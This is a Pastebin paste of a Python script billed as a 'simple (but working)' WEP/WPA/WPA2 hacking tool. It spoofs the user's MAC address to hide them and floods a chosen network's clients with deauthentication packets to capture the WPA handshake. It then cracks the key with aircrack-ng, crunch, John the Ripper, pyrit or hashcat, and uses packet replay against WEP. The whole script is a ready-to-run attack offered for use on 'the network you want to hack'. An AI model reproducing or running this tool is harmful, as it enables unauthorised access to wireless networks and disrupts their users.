Advertisement
nihil7771

wpa2 crack script

Jun 16th, 2019
57
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.50 KB | None | 0 0
  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. import os, sys, time
  4. from termcolor import colored
  5.  
  6. def killctrl():
  7.     os.system("airmon-ng check kill")
  8.  
  9. wlist = ""
  10. print "\n+===========================================================================+"
  11. print "| DWH - Simple (but working) WEP/WPA/WPA2 Hacking script                    |"
  12. print "| Author: D35m0nd142, https://twitter.com/d35m0nd142                        |"
  13. print "| Usage: Just run it and let it head you :)                                 |"
  14. print "+===========================================================================+\n"
  15. time.sleep(1.5)
  16.  
  17. print "[*] Removing useless files..."
  18. os.system("rm -rf capture* || true")
  19. print "[*] Stopping (if existent) previous monitor modes..."
  20. os.system("airmon-ng stop mon0 > dwhs_out.txt && rm dwhs_out.txt")
  21. os.system("ifconfig mon0 down")
  22. print "[*] Rising permissions...\n";
  23. os.system("chmod 777 *")
  24. print colored("[SUCCESS] OK, I am ready to start now! ;)\n", 'yellow')
  25. os.system("airmon-ng")
  26. inf = raw_input("Enter your network interface -> ")
  27. print "[*] Spoofing MAC Address to hide your ass...\n"
  28. cmd = "macchanger -r %s" %inf
  29. os.system(cmd)
  30. cmd = "airmon-ng start %s > processes.txt" %inf
  31. os.system(cmd)
  32. killctrl()
  33. print "[WARNING] Press CTRL-C when you find the network you want to hack."
  34. time.sleep(3)
  35. os.system("airodump-ng mon0")
  36. enc = raw_input("Enter the encryption of the network -> ")
  37. bssid = raw_input("Enter the BSSID of the network you want to hack -> ")
  38. ssid = raw_input("Enter the ESSID of the network you have chosen -> ")
  39. ch = raw_input("Enter the channel on which the network is listening -> ")
  40. cmd = "xterm -hold -e \"airodump-ng -w capture_file --bssid %s -c %s mon0\" &" %(bssid, ch)
  41. os.system(cmd)
  42.  
  43. def client_send():
  44.     client = raw_input("Enter the BSSID (STATION) of a client connected to the network -> ")
  45.     cmd = "aireplay-ng -0 10 -a %s -c %s mon0" %(bssid, client)
  46.  
  47.     for count in range(1,15):
  48.         os.system(cmd)
  49.  
  50.     print colored("[WARNING] Check if \"WPA Handshake\" appeared in the other shell. Otherwise it is useless to go on!\n", 'red')
  51.     time.sleep(1)
  52.  
  53. # WPA/WPA2 Hacking
  54. if(enc == "WPA" or enc == "WPA2" or enc == "wpa" or enc == "wpa2"):
  55.     retry = "y"
  56.     while(retry == "y" or retry == "Y" or retry == "yes"):
  57.         client_send()
  58.         retry = raw_input("Do you want to try with another connected client? [necessary if handshake did not appear] (y/n) ")
  59.  
  60.     print "\n[*] Choose how to crack encrypted data: \n"
  61.     print "  1) Wordlist"
  62.     print "  2) BruteForce (Crunch with letters and numbers)"
  63.     print "  3) JTR"
  64.     print "  4) JTR+Pyrit"  
  65.     print "  5) JTR+Aircrack"
  66.     print "  6) Hashcat"
  67.     choice = raw_input("\n  -> ")
  68.  
  69.     if(choice == "1" or choice == "5" or choice == "6"):
  70.         wlist = raw_input("\n[*] Enter your wordlist -> ")
  71.  
  72.     if(choice == "1"):
  73.         cmd = "aircrack-ng capture_file-01.cap -w ./%s" %wlist
  74.     elif(choice == "2"):
  75.         cmd = "crunch 8 20 abcdefghilmnopqrstuvwyxzkjABCDEFGHILMNOPQRSTUWYXZJ0123456789 | aircrack-ng -b %s capture_file-01.cap -w - -e %s" %(bssid, ssid)
  76.     elif(choice == "3"):
  77.         cmd = "john --incremental=all --stdout | aircrack-ng -b %s capture_file-01.cap -w - -e %s" %(bssid, ssid)
  78.     elif(choice == "4"):
  79.         cmd = "john --incremental=all --stdout | pyrit -r capture_file-01.cap -b %s -i - attack_passthrough" %(bssid)
  80.     elif(choice == "5"):
  81.         cmd = "john --stdout --wordlist=%s | aircrack-ng -b %s -e %s -w - capture_file-01.cap" %(wlist,bssid, ssid)
  82.     else:
  83.         os.system("aircrack-ng capture_file-01.cap -J hcfile")
  84.         print colored("[WARNING] Hashcat module provides 3 different attacks. Stop the current one by yourself in case the previous one has been successfull.","red")
  85.         time.sleep(2)
  86.         print "[*] Using Hashcat Dictionary attack..."
  87.         time.sleep(1)
  88.         cmd = "hashcat -m 2500 hcfile.hccap %s" %wlist
  89.         os.system(cmd)  
  90.         time.sleep(1)
  91.         print "\n[*] Using Hashcat Rule-based attack..."
  92.         time.sleep(1)
  93.         cmd = "hashcat -m 2500 -r rules/best64.rule hcfile.hccap %s" %wlist
  94.         os.system(cmd)
  95.         time.sleep(1)
  96.         print "\n[*] Using Hashcat Brute-Force attack..."
  97.         time.sleep(1)
  98.         print """\n  ?l = abcdefghijklmnopqrstuvwxyz
  99.  ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
  100.  ?d = 0123456789
  101.  ?s =  space\"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"
  102.  ?a = ?l?u?d?s
  103.  ?b = 0x00 - 0xff\n"""
  104.         brute = raw_input("Enter your bruteforce custom-charset (ex: ?l?d) -> ")
  105.         string = ""
  106.         found = False
  107.         try:
  108.             os.remove("dwhs_dec.txt")
  109.         except:
  110.             pass
  111.         while(found is False): # This loop was implemented keeping in mind Hashcat 0.49. If you have Hashcat 0.50 you can use "--increment" flag and
  112.                                # replace this piece of code. As you wish.
  113.             string = string + "?1"
  114.             pwmin = len(string)/2
  115.             print "..Using %s characters.." %pwmin
  116.             time.sleep(0.3)
  117.             cmd = "hashcat -m 2500 -a 3 -n 32 --custom-charset1=%s --pw-min=%s hcfile.hccap %s -o dwhs_dec.txt" %(brute,pwmin,string)
  118.             os.system(cmd)
  119.             with open('dwhs_dec.txt') as f:
  120.                 if(len(f.read()) > 0):
  121.                     found = True
  122.     if(choice == "1" or choice == "2" or choice == "3" or choice == "4" or choice == "5"):
  123.         os.system(cmd)
  124.  
  125. # WEP Hacking
  126. else:
  127.     cmd = "aireplay-ng -1 0 -a %s mon0" %bssid
  128.     os.system(cmd) # check if AUTH is OPN
  129.     cmd = "xterm -hold -e \"aireplay-ng -3 -b %s mon0\" &" %bssid
  130.     os.system(cmd) 
  131.     cmd = "aireplay-ng -0 0 -a %s mon0" %bssid # it speeds up retrieving packets
  132.     for count in range(1,7):
  133.         os.system(cmd) 
  134.     goon = raw_input("\n[WARNING] Wait until you got AT LEAST 30K packets, then press ENTER to go on...")
  135.     cmd = "aircrack-ng capture_file-01.cap"
  136.     os.system(cmd)
  137.  
  138. print "Bye ;-)\n"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement